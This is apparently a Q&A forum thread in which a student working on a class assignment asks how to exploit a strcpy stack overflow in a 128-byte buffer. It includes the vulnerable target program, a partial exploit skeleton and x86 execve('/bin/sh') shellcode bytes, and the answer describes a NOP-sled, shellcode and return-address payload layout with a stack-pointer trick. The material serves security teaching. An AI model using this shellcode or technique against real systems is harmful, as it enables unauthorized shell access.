Question

I’m trying to figure out this problem for one of my comp sci classes, I’ve utilized every resource and still having issues, if someone could provide some insight, I’d greatly appreciate it.

I have this “target” I need to execute a execve(“/bin/sh”) with the buffer overflow exploit. In the overflow of buf[128], when executing the unsafe command strcpy, a pointer back into the buffer appears in the location where the system expects to find return address.

target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}

exploit.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

shellcode.h

static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

I understand I need to fill argv[1] with over 128 bytes, the bytes over 128 being the return address, which should be pointed back to the buffer so it executes the /bin/sh within. Is that correct thus far? Can someone provide the next step?

Thanks very much for any help.

Answer 1

Well, so you want the program to execute your shellcode. It’s already in machine form, so it’s ready to be executed by the system. You’ve stored it in a buffer. So, the question would be “How does the system know to execute my code?” More precisely, “How does the system know where to look for the next code to be executed?” The answer in this case is the return address you’re talking about.

Basically, you’re on the right track. Have you tried executing the code? One thing I’ve noticed when performing this type of exploit is that it’s not an exact science. Sometimes, there are other things in memory that you don’t expect to be there, so you have to increase the number of bytes you add into your buffer in order to correctly align the return address with where the system expects it to be.

I’m not a specialist in security, but I can tell you a few things that might help. One is that I usually include a ‘NOP Sled’ – essentially just a series of 0x90 bytes that don’t do anything other than execute ‘NOP’ instructions on the processor. Another trick is to repeat the return address at the end of the buffer, so that if even one of them overwrites the return address on the stack, you’ll have a successful return to where you want.

So, your buffer will look like this:

| NOP SLED | SHELLCODE | REPEATED RETURN ADDRESS |

(Note: These aren’t my ideas, I got them from Hacking: The Art of Exploitation, by Jon Erickson. I recommend this book if you’re interested in learning more about this).

To calculate the address, you can use something similar to the following:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char* buffer;

    offset = 0;
    esp = sp();
    ret = esp - offset;
}

Now, ret will hold the return address you want to return to, assuming that you allocate buffer to be on the heap.